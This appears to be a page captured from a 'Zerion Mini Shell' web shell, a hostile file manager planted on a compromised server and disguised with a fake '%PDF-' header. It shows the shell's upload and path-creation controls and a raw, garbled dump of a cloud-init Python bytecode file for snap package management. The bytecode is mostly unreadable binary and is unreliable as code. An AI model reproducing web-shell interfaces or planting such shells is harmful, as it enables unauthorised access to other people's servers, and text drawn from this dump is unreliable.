%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/cloudinit/distros/package_management/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/cloudinit/distros/package_management/__pycache__/snap.cpython-39.pyc

a

'�Dg�@sVddlZddlmZmZddlmZmZddlmZm	Z	e�
e�ZGdd�de�Z
dS)�N)�Iterable�List)�subp�util)�PackageManager�UninstalledPackagesc@sHeZdZdZed�dd�Zdd�dd�Zeed	�d
d�Z	e
dd
��ZdS)�Snap�snap)�returncCstt�d��S)Nr	)�boolr�which)�self�r�M/usr/lib/python3.9/site-packages/cloudinit/distros/package_management/snap.py�	availableszSnap.availableF)�forcecCsdS)Nr)r
rrrr�update_package_sourcesszSnap.update_package_sources)�pkglistr
c	Cslt�dt|��}g}|D]N}zt�ddg|�dd��Wqtjyd|�|�t�d|�Yq0q|S)Nz%s=%sr	�install�=�zFailed to 'snap install %s'!)	rZexpand_package_list�listr�split�ProcessExecutionError�append�LOG�info)r
rZfailed�pkgrrr�install_packagess
zSnap.install_packagesc
Cs�gd�}d}z(t�|�}t�|j��di��d�}Wn4tjyh}zt�d||�WYd}~n
d}~00|dkr�t�d|�nt�ddg�dS)N)r	�get�systemz-dZrefreshZholdz9Continuing to snap refresh. Unable to run command: %s: %sZforeverz9Skipping snap refresh because refresh.hold is set to '%s'r	)rrZ	load_json�stdoutrrrr)ZcommandZ	snap_hold�result�errr�upgrade_packages$s$
���zSnap.upgrade_packagesN)�__name__�
__module__�__qualname__�namerrrrrr�staticmethodr$rrrrrs
r)Zlogging�typingrrZ	cloudinitrrZ4cloudinit.distros.package_management.package_managerrrZ	getLoggerr%rrrrrr�<module>s



Zerion Mini Shell 1.0